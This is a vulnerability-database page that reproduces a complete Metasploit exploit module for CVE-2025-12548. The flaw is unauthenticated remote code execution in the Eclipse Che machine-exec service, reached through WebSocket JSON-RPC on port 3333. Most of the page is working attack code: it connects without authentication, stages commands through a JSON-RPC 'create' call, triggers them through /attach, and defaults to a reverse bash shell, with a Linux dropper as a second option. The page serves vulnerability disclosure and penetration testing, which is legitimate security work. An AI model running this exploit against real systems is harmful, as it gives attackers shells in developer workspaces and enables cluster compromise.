Lucene search
K

Eclipse Che machine-exec Unauthenticated RCE

🗓️ 25 Mar 2026 18:58:03Reported by Richard Leach, Greg Durys <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 206 Views

Unauthenticated RCE in Eclipse Che machine-exec (CVE-2025-12548) on port 3333 via WebSocket JSON-RPC.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2025-12548
13 Jan 202615:35
attackerkb
Circl
CVE-2025-12548
13 Jan 202618:13
circl
CNNVD
Eclipse Che 访问控制错误漏洞
13 Jan 202600:00
cnnvd
CVE
CVE-2025-12548
13 Jan 202615:35
cve
Cvelist
CVE-2025-12548 Github.com/che-incubator/che-code: eclipse che — unauthenticated rce and secret exfiltration via tcp/3333
13 Jan 202615:35
cvelist
EUVD
EUVD-2026-2332
13 Jan 202615:35
euvd
NVD
CVE-2025-12548
13 Jan 202616:15
nvd
Packet Storm
📄 Eclipse Che WebSocket Machine-Exec Remote Code Execution
22 Apr 202600:00
packetstorm
Positive Technologies
PT-2026-2441
13 Jan 202600:00
ptsecurity
RedhatCVE
CVE-2025-12548
2 Dec 202508:01
redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Rex::Proto::Http::WebSocket
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Eclipse Che machine-exec Unauthenticated RCE',
        'Description' => %q{
          This module exploits an unauthenticated remote code execution vulnerability
          in the Eclipse Che machine-exec service (CVE-2025-12548). The machine-exec
          service, exposed on port 3333 within Red Hat OpenShift DevSpaces developer
          workspace containers, accepts WebSocket connections without authentication.

          An attacker can connect to the machine-exec service and execute arbitrary
          commands via JSON-RPC over WebSocket. This allows lateral movement between
          workspaces and potential cluster compromise.

          The vulnerability affects Red Hat OpenShift DevSpaces environments where
          the machine-exec service is network-accessible.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Richard Leach',                                    # Vulnerability discovery
          'Greg Durys <[email protected]>'         # PoC and Metasploit module
        ],
        'References' => [
          ['CVE', '2025-12548'],
          ['URL', 'https://access.redhat.com/security/cve/cve-2025-12548'],
          ['URL', 'https://github.com/eclipse-che/che-machine-exec']
        ],
        'DisclosureDate' => '2025-12-01',
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64],
              'Type' => :linux_dropper
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 3333,
          'WfsDelay' => 10
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path to machine-exec service', '/']),
      OptInt.new('WS_TIMEOUT', [true, 'Timeout for WebSocket operations (seconds)', 10])
    ])
  end

  # Safely close a WebSocket connection, ignoring any errors
  def safe_wsclose(wsock)
    wsock&.wsclose
  rescue StandardError
    nil
  end

  # Connect to WebSocket and return socket plus any leftover data from HTTP response.
  # The machine-exec server sends the hello message immediately after the upgrade,
  # which gets absorbed into the HTTP response body during parsing.
  def connect_ws_with_leftover(uri)
    ws_key = Rex::Text.encode_base64(SecureRandom.bytes(16))

    http_client = connect
    raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Failed to connect') if http_client.nil?

    req = http_client.request_raw({
      'uri' => uri,
      'headers' => {
        'Connection' => 'Upgrade',
        'Upgrade' => 'websocket',
        'Sec-WebSocket-Version' => '13',
        'Sec-WebSocket-Key' => ws_key
      }
    })

    http_client.send_request(req)
    res = http_client.read_response(datastore['WS_TIMEOUT'])

    unless res&.code == 101
      http_client.close
      raise Rex::Proto::Http::WebSocket::ConnectionError.new(http_response: res)
    end

    # WebSocket GUID (see: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-WebSocket-Accept)
    accept_key = Rex::Text.encode_base64(OpenSSL::Digest::SHA1.digest(ws_key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11'))
    unless res.headers['Sec-WebSocket-Accept'] == accept_key
      http_client.close
      raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Invalid Sec-WebSocket-Accept header', http_response: res)
    end

    socket = http_client.conn
    socket.extend(Rex::Proto::Http::WebSocket::Interface)

    leftover = res.body.to_s
    vprint_status("Response body length: #{leftover.length}, body: #{leftover[0..100].inspect}")

    # The hello frame may arrive in the HTTP response body or shortly after.
    # If absorbed into the body, parse the raw frame bytes to extract the payload.
    # Otherwise, read a frame from the socket directly.
    if leftover.present?
      hello = parse_ws_frame(leftover)
    else
      frame = begin
        ::Timeout.timeout(datastore['WS_TIMEOUT']) { socket.get_wsframe }
      rescue ::Timeout::Error
        nil
      end
      if frame
        frame.unmask! if frame.header.masked == 1
        hello = frame.payload_data.to_s
      end
    end

    [socket, hello]
  end

  # Parse a WebSocket frame from raw data
  def parse_ws_frame(data)
    return nil if data.blank?

    frame = Rex::Proto::Http::WebSocket::Frame.new
    frame.read(data)
    frame.unmask! if frame.header.masked == 1
    frame.payload_data.to_s
  end

  def check
    begin
      wsock, hello = connect_ws_with_leftover(normalize_uri(target_uri.path, 'connect'))
    rescue Rex::Proto::Http::WebSocket::ConnectionError => e
      return CheckCode::Unknown("WebSocket connection failed: #{e.message}")
    end

    if hello.blank?
      safe_wsclose(wsock)
      return CheckCode::Unknown('No hello message received from service')
    end

    begin
      json = JSON.parse(hello)
      if json['method'] == 'connected' && json.dig('params', 'tunnel')
        safe_wsclose(wsock)
        return CheckCode::Appears('machine-exec service accepts unauthenticated connections')
      end
    rescue JSON::ParserError
      nil
    end

    safe_wsclose(wsock)
    CheckCode::Safe('Service did not respond as expected')
  end

  def exploit
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    print_status('Connecting to machine-exec service...')

    begin
      wsock, hello = connect_ws_with_leftover(normalize_uri(target_uri.path, 'connect'))
    rescue Rex::Proto::Http::WebSocket::ConnectionError => e
      fail_with(Failure::Unreachable, "WebSocket connection failed: #{e.message}")
    end

    print_good('Connected to machine-exec service')

    if hello.blank?
      safe_wsclose(wsock)
      fail_with(Failure::UnexpectedReply, 'No hello message received')
    end
    vprint_status("Received hello: #{hello}")

    print_status('Staging payload via JSON-RPC create method...')

    create_request = {
      'jsonrpc' => '2.0',
      'method' => 'create',
      'params' => {
        'cmd' => ['sh', '-c', cmd],
        'type' => 'process'
      },
      'id' => 1
    }

    wsock.put_wstext(create_request.to_json)

    frame = begin
      ::Timeout.timeout(datastore['WS_TIMEOUT']) { wsock.get_wsframe }
    rescue ::Timeout::Error
      nil
    end

    if frame.nil?
      safe_wsclose(wsock)
      fail_with(Failure::UnexpectedReply, 'No response to create request')
    end

    frame.unmask! if frame.header.masked == 1
    response_data = frame.payload_data.to_s

    begin
      response = JSON.parse(response_data)
      process_id = response['result']
      if process_id.nil?
        error_msg = response.dig('error', 'message') || 'Unknown error'
        safe_wsclose(wsock)
        fail_with(Failure::UnexpectedReply, "Failed to stage command: #{error_msg}")
      end
      print_good("Command staged with process ID: #{process_id}")
    rescue JSON::ParserError
      safe_wsclose(wsock)
      fail_with(Failure::UnexpectedReply, 'Invalid JSON response')
    end

    safe_wsclose(wsock)

    print_status("Triggering execution via /attach/#{process_id}...")

    begin
      wsock_attach = connect_ws({
        'uri' => normalize_uri(target_uri.path, 'attach', process_id.to_s)
      })
      print_good('Payload triggered!')
    rescue Rex::Proto::Http::WebSocket::ConnectionError => e
      fail_with(Failure::UnexpectedReply, "Failed to trigger execution: #{e.message}")
    end

    safe_wsclose(wsock_attach)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Jul 2026 19:02Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.19
EPSS0.01164
SSVC
206